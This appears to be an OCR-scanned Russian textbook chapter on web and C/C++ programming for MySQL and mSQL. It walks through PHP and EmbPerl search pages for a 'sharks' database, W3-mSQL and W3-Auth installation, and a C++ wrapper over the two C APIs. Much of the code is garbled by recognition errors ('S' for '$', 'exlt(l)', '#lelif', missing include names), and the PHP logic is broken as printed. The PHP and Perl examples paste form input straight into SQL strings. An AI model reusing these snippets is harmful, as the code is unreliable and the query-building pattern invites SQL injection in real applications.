    Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

    С использованием РНР пример с базой данных по акулам может выглядеть так:

    <НТМL>

    <НЕАD>Результат поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <Р>
    /* Начинаем построение запроса. В результате типичный запрос

    * может выглядеть так:

    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

    $query = "select * from sharks where ";

    if ($species || $age || Slocation) {

    $query += " where "; }

    if ($species) { $query += "species = '$species'";
    }
    if ($age) {

    if ($species) { $query += " and "; }

    $query += "age = Sage";

    }

    if ($location) {

    if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

    }

    $result = msql("sharks",Squery);

    if (result == -1) {

    echo("Error : $phperrmsg\n");

    exit(1); }


    Snumresults = msql_numrows($result);

    >




    if (! $numresults ); >

    <Н2> Результатов не найдено


    else {

    while-($i < $numresults) {

    $id[$i] = msql_result($result,$i,"id");

    $species[$i] = msql_result($result,$i,"species");

    $age[$i] = msql_result($result,$i,"age");

    $loc[$i] = msql_result($result,$i,"location");

    echo("
  • ");

    printf("", $id[$i]); echo("<В>Вид: $species[$i]
    ");

    if ($age[$i] == 1) { $age = "Молодые"; }

    else if ($age[$i] == 2) { $age = "Взрослые"; }

    else if {$age[$i] == 3) { $age = "Старые"; }

    echo("Age: $age
    ");

    echo("Paйoн $location[$i]
    ");

    }

    }

    }



    Hoый поиск





    Встроенный Perl

    Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

    Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

    ePerl

    Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

    EmbPerl

    Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные "метакоманды" - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

    В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.



    <НЕАD><ТIТLЕ>Результаты поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <р>

    [-

    use Msql;

    use CGI qw(:standard);

    $dbh = Msql->connect; $dbh->selectdb("sharks");


    %age = ( '0' => 'Молодые',

    '1' => 'Взрослые',

    '2' => 'Старые'

    );

    # Начинаем построение запроса. В результате типичный запрос

    # может выглядеть так:

    # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

    $query = "select * from sharks where ";

    if ( Sspecies or Sage or $location) {

    $query .= " where ";

    $query .= join(" and ", param); }

    Sresult = $dbh->query($query);

    if (result == -1) {

    echo("Error : " . Msql->errmsg . "\n");

    exlt(l);

    }

    Snumresults = $result->numrows;

    -]



    [$if (! Snumresults ) $]

    <Н2>Результатов не найдено [SelseS]

    [Swhile (%shark = $Msql->fetchhash($result)) $]





  • <В>Вид: [+$shark{'species'}+]

    <В>Возраст: [+$age{$shark{'age'}}+]

    <В>Район [+$shark{'location'}+]


    [;endwhile$] [;endif]

    Hoвый поиск



    W3-mSQL

    W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 "Справочник по PHP Lite". Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

    Содержимое HTML-файла внутри тега интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

    Hello world!




    echo("Hello world!");
    >


    Все, что не находится внутри тегов , остается чистым HTML.

    mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

    W3-Auth

    W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

    W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

    Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.


    Установка

    Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

    После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

    #!/bin/sh

    # Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

    for file in 'Is *.c'; do

    sed -e "s/cgi-bin/$1/" $file > $file.tmp

    mv $file.tmp $file

    done

    Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

    ./scriptname yourcgidirectory

    Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

    W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

    Два API

    Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

    В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

    Таблица 13-1. С API для MySQL и mSQL

  • $i







    MySQL


    mSQL


    mysql_affected_rows()


    CM. msqlQuery()


    mysql_close()


    msqlClose()


    mysql_connect()


    msqlConnect()


    myql_create_db()





    mysql_data_seek()


    msqlDataSeek()


    mysql_drop_db()





    mysql_eof()





    mysql_error()





    mysql_fetch_field()


    msqlFetchField()


    mysql fetch lengths()





    mysql_fetch_row()


    msqlFetchRow()


    mysql_field_count()





    mysql_field_seek()


    msqlFieldSeek()


    mysql_free_result()


    msqlFreeResult()


    mysql_get_client_info()





    mysql get host_info()





    mysql_get_proto_info()





    mysql_get_server_info()





    mysql_init()





    mysql_insert_id()





    mysql_list_dbs( )


    msqlListDBs()


    mysql_list_fields()


    msqlListFields()





    msqlListIndex()


    mysql_list_processes()





    mysql_list_tables()


    msqlListTables()


    mysql_num_fields()


    msqlNumFields()


    mysql_num_rows()


    msqlNumRows()


    mysql_query()


    msqlQuery()

    <


    mysql_real_query()







    mysql_reload()







    mysql_select_db()



    msqlSelectDB()



    mysql_shutdown()







    mysql_stat()







    mysql_store_result()



    msqiStoreResult()



    mysql_use_result()





    API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  • Осуществлять соединение.

  • Выбирать БД.

  • Посылать запрос.

  • Получать строку.

  • Получать поле.

  • Закрываться.

    В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

    Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

    #include

    #include

    #include

    int main(char **args) {

    MYSQL_RES 'result;

    MYSQL_ROW row;

    MYSQL 'connection, mysql;

    int state;

    /* соединиться с базой данных mySQL на athens.imaginary.com */

    mysql_init(&mysql);

    connection = mysql_real_connect(&mysql,

    "alMens.imaginary.com",

    0, 0,

    "db_test", 0, 0);

    /* проверить ошибки соединения */

    if( connection == NULL ) {

    /* вывести сообщение об ошибке */

    printf(mysql_error(&mysql));

    return 1;

    }

    state = mysql_query(connection,

    "SELECT test_id, test_val FROM test");

    if( state != 0 ) {

    printf(mysql_error(connection));

    return 1; }

    /* прежде чем делать другие вызовы,

    * необходимо вызвать mysql_store_result()

    */

    result = mysql_store_result(connection);

    printf("Строк: %d\n", mysql_num_rows(result));

    /* обработать каждую строку результирующего набора */

    while( ( row = mysql_fetch_row(result)) != NULL )

    {

    printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }


    /* освободить ресурсы, использовавшиеся результирующим набором */

    mysql_free_result(result); /* закрыть соединение */

    mysql_close(connection);

    printf("Koнец, работы.\n");

    }

    Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

    gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

    select.c\

    -Imysql -Insl -Isocket

    Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

    Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

    Пример 13-2. Простое приложение выборки данных для mSQL

    #include

    #include

    #include

    int main(char **args) {

    int connection, state;

    m_result *result;

    m_row row;

    /* соединиться с базой данных mSOL на athens.imaginary.com */

    state = msqlConnect("athens.imaginary.com");

    /* проверить ошибки соединения */

    if( state == -1 )

    {

    /* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    /* описателем соединения является значение, возвращаемое msqlConnect() */

    connection = state; }

    /* выбрать используемую базу данных */

    state = msqlSelectDB(connection, "db_test");


    /* опять-таки, -1 указывает на ошибку */

    if( state == -1 )

    {

    printf(msqlErrMsg);

    /* закрыть соединение перед выходом */

    msqlClose(connection);

    return 1; }

    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

    if( state == -1 )

    {

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    printf("Строк: %d\n", state);

    }

    /* прежде чем делать новый вызов Query(),

    * необходимо вызвать msqlStoreResult()

    */

    result = msqlStoreResult();

    /* обработать каждую строку результирующего набора */

    while( ( row = msqlFetchRow(result)) != NULL )

    {

    printf("id: %s, значение: %s\n",

    (row[0] ? row[0] : "NULL"),

    (row[1] ? row[1] : "NULL"));

    }

    /* освободить ресурсы, использовавшиеся результирующим набором */

    msqlFreeResult(result); /* закрыть соединение */

    msqlClose(connect ion);

    printf("Конец работы.\n"); }

    Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*

  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

    Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

    Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL


    mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида "соединился, сделал запрос, закрылся". Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

    Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

    API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .



    В этой книге мы рассматриваем

    С и C++

    В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

    Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.



    Объектно-ориентированный доступ к базам данных на C++

    С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

    Объектно-ориентированный доступ к базам данных на C++
    Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

    Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

    Соединение с базой данных

    В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

    UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

    Пример 13-3. Заголовок класса Connection

    #ifndef l_connection_h
    #define l_connection_h

    #include

    #if defined(HAS_MSQL)
    #include
    #lelif defined(HAS_MYSQL)
    #include
    #endif

    #include "result.h"

    class Connection { private:

    int affected_rows;

    #if defined(HAS_MSQL)

    int connection;

    #elif defined(HAS_MYSQL)

    MYSQL mysql;

    MYSQL 'connection; tfelse

    #error База данных не определена,

    #endif

    public:

    Connection(char *, char *);

    Connection(char *, char *, char *, char *);

    ~Connection();

    void Close();

    void Connect(char 'host, char *db, char *uid, char *pw);

    int GetAffectedRows();

    char. *GetError();

    int IsConnected();

    Result *Query(char *);

    };

    #endif // l_connection_h

    Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

    Установление соединения с базой данных

    Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

    Пример 13-4. Соединение с MySQL и mSQL в классе Connection

    #include "connection.h"

    Connection::Connection(char *host, char *db) {

    #if defined(HAS_MSQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;

    #else

    #error Het соединения с базой данных,

    #endif

    Connect(host, db, (char *)NULL, (char *)NULL); }

    Connection::Connection(char 'host, char *db, char *uid, char *pw) {

    #if defined(HASJISQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных,

    #endif

    Connect(host, db, uid, pw);

    }

    void Connection: :Connect(char'host, char *db, char *uid, char *pw)

    {

    int state;

    if( IsConnected() )

    {

    throw "Соединение уже установлено.";

    }

    #if defined(HAS_MSQL)

    connection = msqlConnect(host);

    state = msqlSelectDB(connection, db);

    #elif defined (HAS.MYSQL) mysql_init(&mysql);

    connection = mysql_real_connect(&mysql, host,

    uid, pw,

    db, 0, 0); #else

    #error Нет соединения с базой данных.

    #endif

    if( !IsConnected() )

    {

    throw GetError();

    }

    if( state < 0 )

    {

    throw GetError();

    }

    }

    Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

    Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

    Отсоединение от базы данных

    Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

    Пример 13-5. Освобождение ресурсов базы данных

    Connection::"Connection() {

    if( IsConnected() ) {

    Close();

    } }

    void Connection::Close() {

    if( !IsConnected() )

    {

    return;

    }

    #if defined(HAS_MSQL)

    msqlClose(connection);

    connection = -1;

    #elif defined(HAS_MYSQL)

    mysql_close(connection);

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных, tfendif }

    Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

    Выполнение обращений к базе данных

    В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

    Пример 13-6. Обработка запроса к базе данных

    Result "Connection::Query(char *sql) { T_RESULT *res; int state;

    // Если нет соединения, делать нечего

    if( !lsConnected(-) ) { throw "Соединения нет.";

    }

    // Выполнить запрос

    #if defined(HAS_MSQL)

    state = msqlQuery(connection, sql);

    #elif defined(HAS_MYSQL)

    state = mysql_query(connection, sql);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если произошла ошибка

    if( state < 0 ) { throw GetError();

    }

    // Забрать результаты, если таковые имеются

    #if defined(HAS_MSQL)

    res = msqlStoreResult();

    #elif defined(HAS_MYSQL)

    res = mysql_store_result(connection);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если результат null, это было обновление или произошла ошибка

    // Примечание: mSQL не порождает ошибки в msqlStoreResult()

    if( res == (T_RESULT *)NULL ) {

    // Установить значение affected_rows равным возвращенному msqlQuery()

    #if defined(HAS_MSQL)

    affected_rows = state;

    #elif defined(HAS_MYSQL)

    // field_count != 0 означает, что произошла ошибка

    int field_count = mysql_num_fields(connection);

    if( field_count != 0 )

    {

    throw GetError();

    }

    else

    {

    // Запомнить affected_rows

    affected_rows = mysql_affected_rows(connection); }


    #else

    #error Нет соединения с базой данных,

    #endif

    //Возвратить NULL в случае обновления

    return (Result *)NULL; }

    // Для запроса возвратить экземпляр Result

    return new Result(res); }

    В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

    В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

    Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

    Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*


    Другие методы класса Connection

    По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

    Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

    Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

    int Connection::GetAffectedRows() {

    return affected_rows; }

    char 'Connection::GetError() {

    #if defined(HAS_MSQL)

    return msqlErrMsg:

    #elif defined(HAS_MYSQL)

    if( IsConnected() ) {

    return mysql_error(connection); }

    else {

    return mysql_error(&mysql); }

    #else

    #error Нет соединения с базой данных,

    #endif }

    int Connection::IsConnected() {

    #if defined(HAS_MSQL)

    return !(connection < 0);

    #elif defined(HAS_MYSQL)

    return !(iconnection);

    #else

    #error Нет соединения с базой данных,

    #endif

    )

    Проблемы при обработке ошибок

    Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.


    Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

    Результирующие наборы

    Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

    Пример 13-8. Интерфейс класса Result в result.h

    #ifndef 1_result_h

    #define 1_result_h

    #include

    #if defined(HASJSQL)

    #include

    #elif defined(HAS_MYSQl)

    #include

    #endif

    #include "row.h"

    class Result { private:

    int row_count;

    T_RESULT *result;

    Row *current_row;

    public:

    Result(T_RESULT *);

    ~Result();

    void Close();

    Row *GetCurrentRow();

    int GetRowCount();

    int Next(); };

    #endif // l_result_h

    Перемещение по результатам

    Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

    Пример 13-9. Перемещение по результирующему набору

    int Result::Next() { T_ROW row;

    if( result == (T_RESULT *)NULL ) {

    throw "Результирующий набор закрыт.";

    }

    #if defined(HAS_MSQL)

    row = msqlFetchRow(result);

    #elif defined(HAS_MYSQL)


    row = mysql_fetch_row(result);

    #else

    #error Нет соединения с базой данных,

    #endif if( ! row )

    {

    current_row = (Row *)NULL;

    return 0;

    }

    else

    {

    current_row = new Row(result, row);

    return 1;

    }

    }

    Row 'Result::GetCurrentRow()

    {

    if( result == (T_RESULT *)NULL )

    { throw "Результирующий набор закрыт.";

    }

    return current_row; }

    Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

